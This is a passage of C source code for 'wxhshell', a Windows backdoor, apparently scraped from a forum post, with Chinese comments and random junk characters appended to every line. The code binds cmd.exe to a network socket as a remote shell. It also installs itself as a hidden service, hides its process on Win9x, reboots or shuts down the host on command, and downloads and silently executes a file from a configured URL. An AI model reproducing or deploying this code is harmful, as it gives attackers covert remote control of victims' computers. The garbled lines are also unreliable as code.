    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O_th/hl  
    else [qkW/qS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5MCgmF*Y2  
    break; :PY8)39@K  
    } V3VTbgF  
  // 卸载 |r;>2b/ x  
  case 'r': { e<`?$tZ3   
    if(Uninstall()) >Jn`RsuV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lnjs{`^  
    else "10\y{`v^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V62lN<M  
    break; (]I=';\  
    } Wrp+B[ {r\  
  // 显示 wxhshell 所在路径 r]D>p&4  
  case 'p': { }u0&>k|y  
    char svExeFile[MAX_PATH]; fiSX( 9  
    strcpy(svExeFile,"\n\r"); &{a#8sbf#c  
      strcat(svExeFile,ExeFile); WpE "A  
        send(wsh,svExeFile,strlen(svExeFile),0); Xf7]+  
    break; P2s\f;Dwr  
    } mA,{E-T  
  // 重启 f8r7 SFwUv  
  case 'b': { BLqK5~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MzKl=G  
    if(Boot(REBOOT)) "o u{bKe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z+wegF  
    else { c>/7E-T  
    closesocket(wsh); '3Fb[md54  
    ExitThread(0); N:+EGmp  
    } a x;<idC}  
    break; T5T[$%]6  
    } T<Zi67QC@  
  // 关机 5i'?oXL  
  case 'd': { L5KcI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KY%qzq,n  
    if(Boot(SHUTDOWN)) a#CjGj)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ow5 VBw(  
    else { UMD\n<+cG,  
    closesocket(wsh); x 00'wY|  
    ExitThread(0); wnXU=  
    } !m'Rp~t  
    break; XA.1Y)  
    } DXO'MZon3  
  // 获取shell \fI05GZ  
  case 's': { *L*{FnsV  
    CmdShell(wsh); })(robBkA  
    closesocket(wsh); !-%%94Q  
    ExitThread(0); *nHMQ/uf  
    break; FoZI0p?L)9  
  } l>s@&%;Mg  
  // 退出 |90/tNe  
  case 'x': { }>621L3 -  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +N2ILE8[<  
    CloseIt(wsh); g@/}SJh/>  
    break; TEj"G7]1$A  
    } -*T0Cl.  
  // 离开 KZAF9   
  case 'q': { ta x:9j|~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lrr(7cH,  
    closesocket(wsh); eIlovq/X  
    WSACleanup(); LZs'hA<L  
    exit(1); oGg<s3;UND  
    break; ]E DC s?,  
        } L 9cXgd  
  } mC0Dj O  
  } i=P}i8,^ =  
THK^u+~LM  
  // 提示信息 w&VDe(:~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TPKD'@:x  
} (./Iq#@S  
  } 8+Gwv SDU  
>T0`( #Lm  
  return; #(+V&< K  
} -*J!Ws(9  
e?O$`lf  
// shell模块句柄 %i?v)EW  
int CmdShell(SOCKET sock) gCVOm-*:  
{ $cm 9xW&  
STARTUPINFO si; >/%XP_q%`e  
ZeroMemory(&si,sizeof(si)); .We{W{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c_.Fe'E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  i?eVi  
PROCESS_INFORMATION ProcessInfo; %hH> %  
char cmdline[]="cmd"; Up_"qD6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M&9urOa`  
  return 0; oY; C[X  
} 7xG~4N<)]  
}&6:0l$4!  
// 自身启动模式 mZM7 4!4X  
int StartFromService(void) [io|qLr}\  
{ 4)'U!jSb  
typedef struct 37jrWe6xwp  
{  AKk&  
  DWORD ExitStatus; HN5,MD[  
  DWORD PebBaseAddress; qFq$a9w|@  
  DWORD AffinityMask; WoNY8 8hT  
  DWORD BasePriority; ]-SJ";aU  
  ULONG UniqueProcessId; "o_'q@.}  
  ULONG InheritedFromUniqueProcessId; 6'<[QoW];  
}   PROCESS_BASIC_INFORMATION; =1 S%E  
Wa&!1' @  
PROCNTQSIP NtQueryInformationProcess; ub`zS-vb  
Jm< uE]9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jPZpJ:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b8vZ^8tBV  
7~k=t!gTY  
  HANDLE             hProcess; t&EY$'c  
  PROCESS_BASIC_INFORMATION pbi; N qz6_!  
0bIgOLP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n:k4t  
  if(NULL == hInst ) return 0; )t\aB_ =  
K" X" 2c1o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M,bs`amz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vEGI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9zIqSjos"  
)1 HWD]>4  
  if (!NtQueryInformationProcess) return 0; WNQ<XB qAw  
?`O^;f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S QGYH  
  if(!hProcess) return 0; Un T\6u  
r=54@`O!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SR?(z  
%&V%=-O_7  
  CloseHandle(hProcess); S)4p'cUwq  
HTvUt*U1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +"k?G  
if(hProcess==NULL) return 0; rcY &n^:  
l~DIV$>,Z  
HMODULE hMod; _jg tZ  
char procName[255]; $7i[7S4  
unsigned long cbNeeded; 3Z&!zSK^  
FC+h \  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #reW)P>  
@' ;.$  
  CloseHandle(hProcess); Aq3\Q>klH)  
&Vgpv#&Cfx  
if(strstr(procName,"services")) return 1; // 以服务启动 g0B%3v  
G|8>Q3D  
  return 0; // 注册表启动 QgQ$>  
} Np ru  
> '. : Acn  
// 主模块 rzLW @k  
int StartWxhshell(LPSTR lpCmdLine) zEukEA^9`  
{ {s*2d P)  
  SOCKET wsl; !=a]Awr\  
BOOL val=TRUE; \^RKb-6n  
  int port=0; U F*R1{  
  struct sockaddr_in door; P~iZae  
',LC!^:~Nw  
  if(wscfg.ws_autoins) Install(); ?#z<<FR  
<1<xSr  
port=atoi(lpCmdLine); 6DgdS5GhT_  
oVPr`]  
if(port<=0) port=wscfg.ws_port; 4neO$^i8J  
Ek6 g?rj_  
  WSADATA data; c/v|e&q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o; U!{G(X  
N3@[95  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g-"GZi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :Q@/F;Z?  
  door.sin_family = AF_INET; uLPBl~Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5/7(>ivn  
  door.sin_port = htons(port); mw;4/ /R  
0(:SEiz6s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FOMJRq  
closesocket(wsl); vZ.<OD4  
return 1; < *;GJ{  
} jvL!pEC!  
9n;6zVV%`  
  if(listen(wsl,2) == INVALID_SOCKET) { 5$cjCjY  
closesocket(wsl); w-LENdw  
return 1; :2,NKdD  
} \hBzP^*"n  
  Wxhshell(wsl); ~dpf1fP  
  WSACleanup(); Qx8(w"k*  
V %D1Q}X  
return 0; nb<oo:^  
jC{KI!kPt  
} TO"Md["GI  
83gWA>Odh  
// 以NT服务方式启动 6o(IL-0]c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ A=Gra  
{ @7C.0>W_A  
DWORD   status = 0; N~l*//Ep  
  DWORD   specificError = 0xfffffff; P*~ vWYH9  
AovBKB $  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zp<B,Ls  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vlE]RB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7}6CUo  
  serviceStatus.dwWin32ExitCode     = 0;  ms&1P  
  serviceStatus.dwServiceSpecificExitCode = 0; 0H_uxkB~  
  serviceStatus.dwCheckPoint       = 0; A1,q 3<<D%  
  serviceStatus.dwWaitHint       = 0; [w|Klq5  
_6ck@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c1jR j=\  
  if (hServiceStatusHandle==0) return; g,]m8%GHE  
J@6j^U  
status = GetLastError(); t H.L_< N  
  if (status!=NO_ERROR) QeuM',6R  
{ =|ODa/2 p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [3nWxFz$R  
    serviceStatus.dwCheckPoint       = 0; ?6`B;_m  
    serviceStatus.dwWaitHint       = 0; kROIVO1|`  
    serviceStatus.dwWin32ExitCode     = status; mTxqcQc:7  
    serviceStatus.dwServiceSpecificExitCode = specificError; N!3Tg564j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z8JW iRn  
    return; F@f4-NR>  
  }  -D'XxOI  
Bdb}4X rL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iRlZWgj4^  
  serviceStatus.dwCheckPoint       = 0; ~"SQwE|  
  serviceStatus.dwWaitHint       = 0; 09jE7g @X}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LR>s2zu-  
} !U m9ceK  
shH2/.>  
// 处理NT服务事件,比如:启动、停止 js5VgP`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tkr&Fs"t+  
{ @*Ry`)T  
switch(fdwControl) :W1?t*z:[  
{ .'<K$:8@|  
case SERVICE_CONTROL_STOP: H${LF.8  
  serviceStatus.dwWin32ExitCode = 0; Y_+#|]=$B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'o#oRK{#  
  serviceStatus.dwCheckPoint   = 0; QRf>lZP  
  serviceStatus.dwWaitHint     = 0; '6&o:t  
  { sg2%BkTI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E1OrL.A6  
  } }P.Z}n;Uj  
  return; ;<m`mb4x[  
case SERVICE_CONTROL_PAUSE:  #O\as~-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $Vq5U9-  
  break; xn503,5G*7  
case SERVICE_CONTROL_CONTINUE: 5}ftiy[Yc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m x |V)  
  break; ;..z)OP_  
case SERVICE_CONTROL_INTERROGATE: DR}I+<*%aD  
  break; _Tor9Tj  
}; nM2<u[{gF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q'Osw"  
} *?HGi>]\ |  
N\g=9o|Q  
// 标准应用程序主函数 Q/ .LDye8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j_N<aX  
{ j7kX"nz  
kF~(B]W(  
// 获取操作系统版本 k/wD@H N  
OsIsNt=GetOsVer(); qfE0J;e   
GetModuleFileName(NULL,ExeFile,MAX_PATH); cVL|kYVWT  
|zpy!X3  
  // 从命令行安装 5 k3m"*  
  if(strpbrk(lpCmdLine,"iI")) Install(); /u4RZ|&as  
C`g "Mk8  
  // 下载执行文件 ;6[6~L%K}  
if(wscfg.ws_downexe) { @GQfBV|3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I\k<PglRA  
  WinExec(wscfg.ws_filenam,SW_HIDE); jL"V0M]c  
} '!7>*<  
'%[ Y  
if(!OsIsNt) { goIv m:?  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~. vridH  
HideProc(); S1U0sP@o  
StartWxhshell(lpCmdLine); (!5Ta7X  
} JpC=ACF  
else TsK!36cg  
  if(StartFromService()) [-_{3qq<e  
  // 以服务方式启动 b3E1S+\=~  
  StartServiceCtrlDispatcher(DispatchTable); rtJER?A  
else Y|fD)zG_  
  // 普通方式启动 w_Slg&S  
  StartWxhshell(lpCmdLine); )0exGx+:  
'lA}E  
return 0; oR2?$KF   
}
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只看该作者 1 发表于: 2006-10-10
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